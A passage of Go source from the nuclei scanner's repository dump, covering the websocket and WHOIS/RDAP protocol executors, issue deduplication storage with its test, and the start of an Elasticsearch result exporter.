types.DefaultOptions())\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not parse payloads\")\n\t\t}\n\t}\n\n\tif len(request.Matchers) > 0 || len(request.Extractors) > 0 {\n\t\tcompiled := &request.Operators\n\t\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\t\tcompiled.TemplateID = options.TemplateID\n\t\tif err := compiled.Compile(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile operators\")\n\t\t}\n\t\trequest.CompiledOperators = compiled\n\t}\n\treturn nil\n}\n\n// Requests returns the total number of requests the rule will perform\nfunc (request *Request) Requests() int {\n\tif request.generator != nil {\n\t\treturn request.generator.NewIterator().Total()\n\t}\n\treturn 1\n}\n\n// GetID returns the ID for the request if any.\nfunc (request *Request) GetID() string {\n\treturn \"\"\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\thostname, err := getAddress(input.MetaInput.Input)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif request.generator != nil {\n\t\titerator := request.generator.NewIterator()\n\n\t\tfor {\n\t\t\tvalue, ok := iterator.Value()\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif err := request.executeRequestWithPayloads(input, hostname, value, previous, callback); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t} else {\n\t\tvalue := make(map[string]interface{})\n\t\tif err := request.executeRequestWithPayloads(input, hostname, value, previous, callback); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) executeRequestWithPayloads(target *contextargs.Context, hostname string, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\theader := http.Header{}\n\tinput := target.MetaInput.Input\n\n\tparsed, err := urlutil.Parse(input)\n\tif err != nil {\n\t\treturn errors.Wrap(err, parseUrlErrorMessage)\n\t}\n\tdefaultVars := protocolutils.GenerateVariables(parsed, false, nil)\n\toptionVars := generators.BuildPayloadFromOptions(request.options.Options)\n\t// add templatecontext variables to varMap\n\tvariables := request.options.Variables.Evaluate(generators.MergeMaps(defaultVars, optionVars, dynamicValues, request.options.GetTemplateCtx(target.MetaInput).GetAll()))\n\tpayloadValues := generators.MergeMaps(variables, defaultVars, optionVars, dynamicValues, request.options.Constants)\n\n\trequestOptions := request.options\n\tfor key, value := range request.Headers {\n\t\tfinalData, dataErr := expressions.EvaluateByte([]byte(value), payloadValues)\n\t\tif dataErr != nil {\n\t\t\trequestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), dataErr)\n\t\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\t\treturn errors.Wrap(dataErr, evaluateTemplateExpressionErrorMessage)\n\t\t}\n\t\theader.Set(key, string(finalData))\n\t}\n\ttlsConfig := &tls.Config{\n\t\tInsecureSkipVerify: true,\n\t\tServerName:         hostname,\n\t\tMinVersion:         tls.VersionTLS10,\n\t}\n\tif requestOptions.Options.SNI != \"\" {\n\t\ttlsConfig.ServerName = requestOptions.Options.SNI\n\t}\n\twebsocketDialer := ws.Dialer{\n\t\tHeader:    ws.HandshakeHeaderHTTP(header),\n\t\tTimeout:   time.Duration(requestOptions.Options.Timeout) * time.Second,\n\t\tNetDial:   request.dialer.Dial,\n\t\tTLSConfig: tlsConfig,\n\t}\n\n\tif vardump.EnableVarDump {\n\t\tgologger.Debug().Msgf(\"WebSocket Protocol request variables: %s\\n\", vardump.DumpVariables(payloadValues))\n\t}\n\n\tfinalAddress, dataErr := expressions.EvaluateByte([]byte(request.Address), payloadValues)\n\tif dataErr != nil {\n\t\trequestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), dataErr)\n\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(dataErr, evaluateTemplateExpressionErrorMessage)\n\t}\n\n\taddressToDial := string(finalAddress)\n\tparsedAddress, err := url.Parse(addressToDial)\n\tif err != nil {\n\t\trequestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), err)\n\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, parseUrlErrorMessage)\n\t}\n\tparsedAddress.Path = path.Join(parsedAddress.Path, parsed.Path)\n\taddressToDial = parsedAddress.String()\n\n\tconn, readBuffer, _, err := websocketDialer.Dial(target.Context(), addressToDial)\n\tif err != nil {\n\t\trequestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), err)\n\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, \"could not connect to server\")\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tresponseBuilder := &strings.Builder{}\n\tif readBuffer != nil {\n\t\t_, _ = io.Copy(responseBuilder, readBuffer) // Copy initial response\n\t}\n\n\tevents, requestOutput, err := request.readWriteInputWebsocket(conn, payloadValues, input, responseBuilder)\n\tif err != nil {\n\t\trequestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), err)\n\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, \"could not read write response\")\n\t}\n\trequestOptions.Progress.IncrementRequests()\n\n\tif requestOptions.Options.Debug || requestOptions.Options.DebugRequests {\n\t\tgologger.Debug().Str(\"address\", input).Msgf(\"[%s] Dumped Websocket request for %s\", requestOptions.TemplateID, input)\n\t\tgologger.Print().Msgf(\"%s\", requestOutput)\n\t}\n\n\trequestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), err)\n\tgologger.Verbose().Msgf(\"Sent Websocket request to %s\", input)\n\n\tdata := make(map[string]interface{})\n\n\tdata[\"type\"] = request.Type().String()\n\tdata[\"success\"] = \"true\"\n\tdata[\"request\"] = requestOutput\n\tdata[\"response\"] = responseBuilder.String()\n\tdata[\"host\"] = input\n\tdata[\"matched\"] = addressToDial\n\tdata[\"ip\"] = request.dialer.GetDialedIP(hostname)\n\n\t// add response fields to template context and merge templatectx variables to output event\n\trequest.options.AddTemplateVars(target.MetaInput, request.Type(), request.ID, data)\n\tdata = generators.MergeMaps(data, request.options.GetTemplateCtx(target.MetaInput).GetAll())\n\n\tmaps.Copy(data, previous)\n\tmaps.Copy(data, events)\n\n\tevent := eventcreator.CreateEventWithAdditionalOptions(request, data, requestOptions.Options.Debug || requestOptions.Options.DebugResponse, func(internalWrappedEvent *output.InternalWrappedEvent) {\n\t\tinternalWrappedEvent.OperatorsResult.PayloadValues = payloadValues\n\t})\n\tif requestOptions.Options.Debug || requestOptions.Options.DebugResponse {\n\t\tresponseOutput := responseBuilder.String()\n\t\tgologger.Debug().Msgf(\"[%s] Dumped Websocket response for %s\", requestOptions.TemplateID, input)\n\t\tgologger.Print().Msgf(\"%s\", responsehighlighter.Highlight(event.OperatorsResult, responseOutput, requestOptions.Options.NoColor, false))\n\t}\n\n\tcallback(event)\n\treturn nil\n}\n\nfunc (request *Request) readWriteInputWebsocket(conn net.Conn, payloadValues map[string]interface{}, input string, respBuilder *strings.Builder) (events map[string]interface{}, req string, err error) {\n\treqBuilder := &strings.Builder{}\n\tinputEvents := make(map[string]interface{})\n\n\trequestOptions := request.options\n\tfor _, req := range request.Inputs {\n\t\treqBuilder.Grow(len(req.Data))\n\n\t\tfinalData, dataErr := expressions.EvaluateByte([]byte(req.Data), payloadValues)\n\t\tif dataErr != nil {\n\t\t\trequestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), dataErr)\n\t\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\t\treturn nil, \"\", errors.Wrap(dataErr, evaluateTemplateExpressionErrorMessage)\n\t\t}\n\t\treqBuilder.WriteString(string(finalData))\n\n\t\terr = wsutil.WriteClientMessage(conn, ws.OpText, finalData)\n\t\tif err != nil {\n\t\t\trequestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), err)\n\t\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\t\treturn nil, \"\", errors.Wrap(err, \"could not write request to server\")\n\t\t}\n\n\t\tmsg, opCode, err := wsutil.ReadServerData(conn)\n\t\tif err != nil {\n\t\t\trequestOptions.Output.Request(requestOptions.TemplateID, input, request.Type().String(), err)\n\t\t\trequestOptions.Progress.IncrementFailedRequestsBy(1)\n\t\t\treturn nil, \"\", errors.Wrap(err, \"could not write request to server\")\n\t\t}\n\t\t// Only perform matching and writes in case we receive\n\t\t// text or binary opcode from the websocket server.\n\t\tif opCode != ws.OpText && opCode != ws.OpBinary {\n\t\t\tcontinue\n\t\t}\n\n\t\trespBuilder.Write(msg)\n\t\tif req.Name != \"\" {\n\t\t\tbufferStr := string(msg)\n\t\t\tinputEvents[req.Name] = bufferStr\n\n\t\t\t// Run any internal extractors for the request here and add found values to map.\n\t\t\tif request.CompiledOperators != nil {\n\t\t\t\tvalues := request.CompiledOperators.ExecuteInternalExtractors(map[string]interface{}{req.Name: bufferStr}, protocols.MakeDefaultExtractFunc)\n\t\t\t\tmaps.Copy(inputEvents, values)\n\t\t\t}\n\t\t}\n\t}\n\treturn inputEvents, reqBuilder.String(), nil\n}\n\n// getAddress returns the address of the host to make request to\nfunc getAddress(toTest string) (string, error) {\n\tparsed, err := url.Parse(toTest)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, parseUrlErrorMessage)\n\t}\n\tscheme := strings.ToLower(parsed.Scheme)\n\n\tif scheme != \"ws\" && scheme != \"wss\" {\n\t\treturn \"\", fmt.Errorf(\"invalid url scheme provided: %s\", scheme)\n\t}\n\tif parsed != nil && parsed.Host != \"\" {\n\t\treturn parsed.Host, nil\n\t}\n\treturn \"\", nil\n}\n\n// Match performs matching operation for a matcher on model and returns:\n// true and a list of matched snippets if the matcher type is supports it\n// otherwise false and an empty string slice\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\treturn protocols.MakeDefaultMatchFunc(data, matcher)\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{} {\n\treturn protocols.MakeDefaultExtractFunc(data, matcher)\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\n// GetCompiledOperators returns a list of the compiled operators\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\n// RequestPartDefinitions contains a mapping of request part definitions and their\n// description. Multiple definitions are separated by commas.\n// Definitions not having a name (generated on runtime) are prefixed & suffixed by <>.\nvar RequestPartDefinitions = map[string]string{\n\t\"type\":     \"Type is the type of request made\",\n\t\"success\":  \"Success specifies whether websocket connection was successful\",\n\t\"request\":  \"Websocket request made to the server\",\n\t\"response\": \"Websocket response received from the server\",\n\t\"host\":     \"Host is the input to the template\",\n\t\"matched\":  \"Matched is the input which was matched upon\",\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tfields := protocolutils.GetJsonFieldsFromURL(types.ToString(wrapped.InternalEvent[\"host\"]))\n\tif types.ToString(wrapped.InternalEvent[\"ip\"]) != \"\" {\n\t\tfields.Ip = types.ToString(wrapped.InternalEvent[\"ip\"])\n\t}\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(request.options.TemplateID),\n\t\tTemplatePath:     types.ToString(request.options.TemplatePath),\n\t\tInfo:             request.options.TemplateInfo,\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tHost:             fields.Host,\n\t\tPort:             fields.Port,\n\t\tMatched:          types.ToString(wrapped.InternalEvent[\"matched\"]),\n\t\tMetadata:         wrapped.OperatorsResult.PayloadValues,\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tTimestamp:        time.Now(),\n\t\tMatcherStatus:    true,\n\t\tIP:               fields.Ip,\n\t\tRequest:          types.ToString(wrapped.InternalEvent[\"request\"]),\n\t\tResponse:         types.ToString(wrapped.InternalEvent[\"response\"]),\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.WebsocketProtocol\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n"
  },
  {
    "path": "pkg/protocols/whois/rdapclientpool/clientpool.go",
    "content": "package rdapclientpool\n\nimport (\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/rdap\"\n)\n\nvar normalClient *rdap.Client\nvar m sync.Mutex\n\n// Init initializes the client pool implementation\nfunc Init(options *types.Options) error {\n\tm.Lock()\n\tdefer m.Unlock()\n\n\t// Don't create clients if already created in the past.\n\tif normalClient != nil {\n\t\treturn nil\n\t}\n\n\tnormalClient = &rdap.Client{}\n\tif options.Verbose || options.Debug || options.DebugRequests || options.DebugResponse {\n\t\tnormalClient.Verbose = func(text string) {\n\t\t\tgologger.Debug().Msgf(\"rdap: %s\", text)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc getNormalClient() *rdap.Client {\n\tm.Lock()\n\tdefer m.Unlock()\n\treturn normalClient\n}\n\n// Configuration contains the custom configuration options for a client - placeholder\ntype Configuration struct{}\n\n// Hash returns the hash of the configuration to allow client pooling - placeholder\nfunc (c *Configuration) Hash() string {\n\treturn \"\"\n}\n\n// Get creates or gets a client for the protocol based on custom configuration\nfunc Get(options *types.Options, configuration *Configuration) (*rdap.Client, error) {\n\treturn getNormalClient(), nil\n}\n"
  },
  {
    "path": "pkg/protocols/whois/whois.go",
    "content": "package whois\n\nimport (\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n\n\tjsoniter \"github.com/json-iterator/go\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/rdap\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump\"\n\tprotocolutils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois/rdapclientpool\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n)\n\n// Request is a request for the WHOIS protocol\ntype Request struct {\n\t// Operators for the current request go here.\n\toperators.Operators `yaml:\",inline,omitempty\" json:\",inline,omitempty\"`\n\tCompiledOperators   *operators.Operators `yaml:\"-\" json:\"-\"`\n\n\t// ID is the optional id of the request\n\tID string `yaml:\"id,omitempty\" json:\"id,omitempty\" jsonschema:\"title=id of the request,description=ID of the network request\"`\n\n\t// description: |\n\t//   Query contains query for the request\n\tQuery string `yaml:\"query,omitempty\" json:\"query,omitempty\" jsonschema:\"title=query for the WHOIS request,description=Query contains query for the request\"`\n\n\t// description: |\n\t// \t Optional WHOIS server URL.\n\t//\n\t// \t If present, specifies the WHOIS server to execute the Request on.\n\t//   Otherwise, nil enables bootstrapping\n\tServer string `yaml:\"server,omitempty\" json:\"server,omitempty\" jsonschema:\"title=server url to execute the WHOIS request on,description=Server contains the server url to execute the WHOIS request on\"`\n\t// cache any variables that may be needed for operation.\n\tclient          *rdap.Client\n\toptions         *protocols.ExecutorOptions\n\tparsedServerURL *url.URL\n}\n\n// Compile compiles the request generators preparing any requests possible.\nfunc (request *Request) Compile(options *protocols.ExecutorOptions) error {\n\tvar err error\n\tif request.Server != \"\" {\n\t\trequest.parsedServerURL, err = url.Parse(request.Server)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to parse server URL\")\n\t\t}\n\t}\n\n\trequest.options = options\n\trequest.client, _ = rdapclientpool.Get(options.Options, nil)\n\n\tif len(request.Matchers) > 0 || len(request.Extractors) > 0 {\n\t\tcompiled := &request.Operators\n\t\tcompiled.ExcludeMatchers = options.ExcludeMatchers\n\t\tcompiled.TemplateID = options.TemplateID\n\t\tif err := compiled.Compile(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile operators\")\n\t\t}\n\t\trequest.CompiledOperators = compiled\n\t}\n\treturn nil\n}\n\n// Requests returns the total number of requests the rule will perform\nfunc (request *Request) Requests() int {\n\treturn 1\n}\n\n// GetID returns the ID for the request if any.\nfunc (request *Request) GetID() string {\n\treturn \"\"\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\t// generate variables\n\tdefaultVars := protocolutils.GenerateVariables(input.MetaInput.Input, false, nil)\n\toptionVars := generators.BuildPayloadFromOptions(request.options.Options)\n\t// add templatectx variables to varMap\n\tvars := request.options.Variables.Evaluate(generators.MergeMaps(defaultVars, optionVars, dynamicValues, request.options.GetTemplateCtx(input.MetaInput).GetAll()))\n\n\tvariables := generators.MergeMaps(vars, defaultVars, optionVars, dynamicValues, request.options.Constants)\n\n\tif vardump.EnableVarDump {\n\t\tgologger.Debug().Msgf(\"Whois Protocol request variables: %s\\n\", vardump.DumpVariables(variables))\n\t}\n\n\t// and replace placeholders\n\tquery := replacer.Replace(request.Query, variables)\n\t// build an rdap request\n\trdapReq := rdap.NewAutoRequest(query)\n\trdapReq.Server = request.parsedServerURL\n\tres, err := request.client.Do(rdapReq)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not make whois request\")\n\t}\n\tgologger.Verbose().Msgf(\"Sent WHOIS request to %s\", query)\n\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\tgologger.Debug().Msgf(\"[%s] Dumped WHOIS request for %s\", request.options.TemplateID, query)\n\t}\n\n\tdata := make(map[string]interface{})\n\tvar response interface{}\n\tswitch rdapReq.Type {\n\tcase rdap.DomainRequest:\n\t\t// convert the rdap response to a whois style response (for domain request type only)\n\t\twhoisResp := res.ToWhoisStyleResponse()\n\t\tfor k, v := range whoisResp.Data {\n\t\t\tdata[strings.ToLower(k)] = strings.Join(v, \",\")\n\t\t}\n\t\tresponse = whoisResp\n\tdefault:\n\t\tresponse = res.Object\n\t}\n\tjsonData, _ := jsoniter.Marshal(response)\n\tjsonDataString := string(jsonData)\n\n\tdata[\"type\"] = request.Type().String()\n\tdata[\"host\"] = query\n\tdata[\"response\"] = jsonDataString\n\n\t// add response fields to template context and merge templatectx variables to output event\n\trequest.options.AddTemplateVars(input.MetaInput, request.Type(), request.ID, data)\n\tdata = generators.MergeMaps(data, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\n\tevent := eventcreator.CreateEvent(request, data, request.options.Options.Debug || request.options.Options.DebugResponse)\n\tif request.options.Options.Debug || request.options.Options.DebugResponse {\n\t\tgologger.Debug().Msgf(\"[%s] Dumped WHOIS response for %s\", request.options.TemplateID, query)\n\t\tgologger.Print().Msgf(\"%s\", responsehighlighter.Highlight(event.OperatorsResult, jsonDataString, request.options.Options.NoColor, false))\n\t}\n\n\tcallback(event)\n\treturn nil\n}\n\n// Match performs matching operation for a matcher on model and returns:\n// true and a list of matched snippets if the matcher type is supports it\n// otherwise false and an empty string slice\nfunc (request *Request) Match(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string) {\n\treturn protocols.MakeDefaultMatchFunc(data, matcher)\n}\n\n// Extract performs extracting operation for an extractor on model and returns true or false.\nfunc (request *Request) Extract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{} {\n\treturn protocols.MakeDefaultExtractFunc(data, matcher)\n}\n\n// MakeResultEvent creates a result event from internal wrapped event\nfunc (request *Request) MakeResultEvent(wrapped *output.InternalWrappedEvent) []*output.ResultEvent {\n\treturn protocols.MakeDefaultResultEvent(request, wrapped)\n}\n\n// GetCompiledOperators returns a list of the compiled operators\nfunc (request *Request) GetCompiledOperators() []*operators.Operators {\n\treturn []*operators.Operators{request.CompiledOperators}\n}\n\nfunc (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent {\n\tdata := &output.ResultEvent{\n\t\tTemplateID:       types.ToString(request.options.TemplateID),\n\t\tTemplatePath:     types.ToString(request.options.TemplatePath),\n\t\tInfo:             request.options.TemplateInfo,\n\t\tTemplateVerifier: request.options.TemplateVerifier,\n\t\tType:             types.ToString(wrapped.InternalEvent[\"type\"]),\n\t\tHost:             types.ToString(wrapped.InternalEvent[\"host\"]),\n\t\tMetadata:         wrapped.OperatorsResult.PayloadValues,\n\t\tExtractedResults: wrapped.OperatorsResult.OutputExtracts,\n\t\tTimestamp:        time.Now(),\n\t\tMatcherStatus:    true,\n\t\tRequest:          types.ToString(wrapped.InternalEvent[\"request\"]),\n\t\tResponse:         types.ToString(wrapped.InternalEvent[\"response\"]),\n\t\tTemplateEncoded:  request.options.EncodeTemplate(),\n\t\tError:            types.ToString(wrapped.InternalEvent[\"error\"]),\n\t}\n\treturn data\n}\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.WHOISProtocol\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options.ApplyNewEngineOptions(opts)\n}\n"
  },
  {
    "path": "pkg/reporting/client.go",
    "content": "package reporting\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n)\n\n// Client is a client for nuclei issue tracking module\ntype Client interface {\n\tRegisterTracker(tracker Tracker)\n\tRegisterExporter(exporter Exporter)\n\tClose()\n\tClear()\n\tCreateIssue(event *output.ResultEvent) error\n\tCloseIssue(event *output.ResultEvent) error\n\tGetReportingOptions() *Options\n}\n"
  },
  {
    "path": "pkg/reporting/dedupe/dedupe.go",
    "content": "// Package dedupe implements deduplication layer for nuclei-generated\n// issues.\n//\n// The layer can be persisted to leveldb based storage for further use.\npackage dedupe\n\nimport (\n\t\"crypto/sha1\"\n\t\"os\"\n\n\t\"github.com/syndtr/goleveldb/leveldb\"\n\t\"github.com/syndtr/goleveldb/leveldb/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/utils/conversion\"\n)\n\n// Storage is a duplicate detecting storage for nuclei scan events.\ntype Storage struct {\n\ttemporary string\n\tstorage   *leveldb.DB\n}\n\n// New creates a new duplicate detecting storage for nuclei scan events.\nfunc New(dbPath string) (*Storage, error) {\n\tstorage := &Storage{}\n\n\tvar err error\n\tif dbPath == \"\" {\n\t\tdbPath, err = os.MkdirTemp(\"\", \"nuclei-report-*\")\n\t\tstorage.temporary = dbPath\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstorage.storage, err = leveldb.OpenFile(dbPath, nil)\n\tif err != nil {\n\t\tif !errors.IsCorrupted(err) {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// If the metadata is corrupted, try to recover\n\t\tstorage.storage, err = leveldb.RecoverFile(dbPath, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn storage, nil\n}\n\nfunc (s *Storage) Clear() {\n\tvar keys [][]byte\n\titer := s.storage.NewIterator(nil, nil)\n\tfor iter.Next() {\n\t\tkeys = append(keys, iter.Key())\n\t}\n\titer.Release()\n\tfor _, key := range keys {\n\t\t_ = s.storage.Delete(key, nil)\n\t}\n}\n\n// Close closes the storage for further operations\nfunc (s *Storage) Close() {\n\t_ = s.storage.Close()\n\tif s.temporary != \"\" {\n\t\t_ = os.RemoveAll(s.temporary)\n\t}\n}\n\n// Index indexes an item in storage and returns true if the item\n// was unique.\nfunc (s *Storage) Index(result *output.ResultEvent) (bool, error) {\n\thasher := sha1.New()\n\tif result.TemplateID != \"\" {\n\t\t_, _ = hasher.Write(conversion.Bytes(result.TemplateID))\n\t}\n\tif result.MatcherName != \"\" {\n\t\t_, _ = hasher.Write(conversion.Bytes(result.MatcherName))\n\t}\n\tif result.ExtractorName != \"\" {\n\t\t_, _ = hasher.Write(conversion.Bytes(result.ExtractorName))\n\t}\n\tif result.Type != \"\" {\n\t\t_, _ = hasher.Write(conversion.Bytes(result.Type))\n\t}\n\tif result.Host != \"\" {\n\t\t_, _ = hasher.Write(conversion.Bytes(result.Host))\n\t}\n\tif result.Matched != \"\" {\n\t\t_, _ = hasher.Write(conversion.Bytes(result.Matched))\n\t}\n\tfor _, v := range result.ExtractedResults {\n\t\t_, _ = hasher.Write(conversion.Bytes(v))\n\t}\n\tfor k, v := range result.Metadata {\n\t\t_, _ = hasher.Write(conversion.Bytes(k))\n\t\t_, _ = hasher.Write(conversion.Bytes(types.ToString(v)))\n\t}\n\thash := hasher.Sum(nil)\n\n\texists, err := s.storage.Has(hash, nil)\n\tif err != nil {\n\t\t// if we have an error, return with it but mark it as true\n\t\t// since we don't want to lose an issue considering it a dupe.\n\t\treturn true, err\n\t}\n\tif !exists {\n\t\treturn true, s.storage.Put(hash, nil, nil)\n\t}\n\treturn false, err\n}\n"
  },
  {
    "path": "pkg/reporting/dedupe/dedupe_test.go",
    "content": "package dedupe\n\nimport (\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n)\n\nfunc TestDedupeDuplicates(t *testing.T) {\n\ttempDir, err := os.MkdirTemp(\"\", \"nuclei\")\n\trequire.Nil(t, err, \"could not create temporary storage\")\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempDir)\n\t}()\n\n\tstorage, err := New(tempDir)\n\trequire.Nil(t, err, \"could not create duplicate storage\")\n\n\ttests := []*output.ResultEvent{\n\t\t{TemplateID: \"test\", Host: \"https://example.com\"},\n\t\t{TemplateID: \"test\", Host: \"https://example.com\"},\n\t}\n\tfirst, err := storage.Index(tests[0])\n\trequire.Nil(t, err, \"could not index item\")\n\trequire.True(t, first, \"could not index valid item\")\n\n\tsecond, err := storage.Index(tests[1])\n\trequire.Nil(t, err, \"could not index item\")\n\trequire.False(t, second, \"could index duplicate item\")\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/es/elasticsearch.go",
    "content": "package es\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/useragent\"\n)\n\n// Options contains necessary options required for elasticsearch communication\ntype Options struct {\n\t// Host is the hostname of the elasticsearch instance\n\tHost string `yaml:\"host\" validate:\"required_without=IP\"`\n\t// IP for elasticsearch instance\n\tIP string `yaml:\"ip\" validate:\"required,ip\"`\n\t// Port is the port of elasticsearch instance\n\tPort int `yaml:\"port\" validate:\"gte=0,lte=65535\"`\n\t// SSL (optional) enables ssl for elasticsearch connection\n\tSSL bool `yaml:\"ssl\"`\n\t// SSLVerification (optional) disables SSL verification for elasticsearch\n\tSSLVerification bool `yaml:\"ssl-verification\"`\n\t// Username for the elasticsearch instance\n\tUsername string `yaml:\"username\"  validate:\"required\"`\n\t// Password is the password for elasticsearch instance\n\tPassword string `yaml:\"password\"  validate:\"required\"`\n\t// IndexName is the name of the elasticsearch index\n\tIndexName string `yaml:\"index-name\"  validate:\"required\"`\n\n\tHttpClient  *retryablehttp.Client `yaml:\"-\"`\n\tExecutionId string                `yaml:\"-\"`\n}\n\ntype data struct {\n\tEvent     *output.ResultEvent `json:\"event\"`\n\tTimestamp string              `json:\"@timestamp\"`\n}\n\n// Exporter type for elasticsearch\ntype Exporter struct {\n\turl            string\n\tauthentication string\n\telasticsearch  *http.Client\n}\n\n// New creates and returns a new exporter for elasticsearch\nfunc New(option *Options) (*Exporter, error) {\n\tvar ei *Exporter\n\n\tdialers := protocolstate.GetDialersWithId(option.ExecutionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", option.ExecutionId)\n\t}\n\n\tvar client *http.Client\n\tif option.HttpClient != nil {\n\t\tclient = 